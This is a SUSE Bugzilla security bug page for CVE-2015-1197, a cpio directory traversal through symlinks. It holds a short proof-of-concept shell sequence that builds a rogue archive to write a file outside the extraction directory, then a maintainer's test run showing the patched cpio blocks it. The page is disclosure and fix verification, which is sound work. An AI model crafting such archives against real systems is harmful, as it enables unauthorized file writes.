Bugzilla – Bug 913677
VUL-0: CVE-2015-1197: cpio: directory traversal through symlinks
Last modified: 2018-03-29 11:15:26 UTC
rh#1179773 It was reported [1] that cpio is susceptible to a directory traversal vulnerability. Original report follows: ... While extracting an archive, it will extract symlinks and then follow them if they are referenced in further entries. This can be exploited by a rogue archive to write files outside the current directory. Example: 1) create a sample archive: ln -s /tmp dir echo dir | cpio -oF test.cpio rm dir mkdir dir echo hello > dir/file echo dir/file | cpio -oAF test.cpio rm -r dir 2) test it: cpio --no-absolute-filenames -ivF test.cpio This will create a symlink "dir" in the current directory and a file "/tmp/file". ... No patches are available at this time. [1]: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=774669 References: https://bugzilla.redhat.com/show_bug.cgi?id=1179773 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1197 http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1197.html
looks related to bug 658010
bugbot adjusting priority
(In reply to Marcus Meissner from comment #1) > looks related to bug 658010 Our patch for bug 658010 prevents this situation: > cat CVE-2015-1197.sh #!/bin/sh # create archive ln -s /tmp dir echo dir | cpio -oF test.cpio rm dir mkdir dir echo hello > dir/file echo dir/file | cpio -oAF test.cpio rm -r dir # test it cpio --no-absolute-filenames -ivF test.cpio > ./CVE-2015-1197.sh 1 block 1 block dir cpio: Can't write over symlinks: dir/file > ls dir/file ls: cannot access dir/file: No such file or directory
already fixed
*** Bug 1077990 has been marked as a duplicate of this bug. ***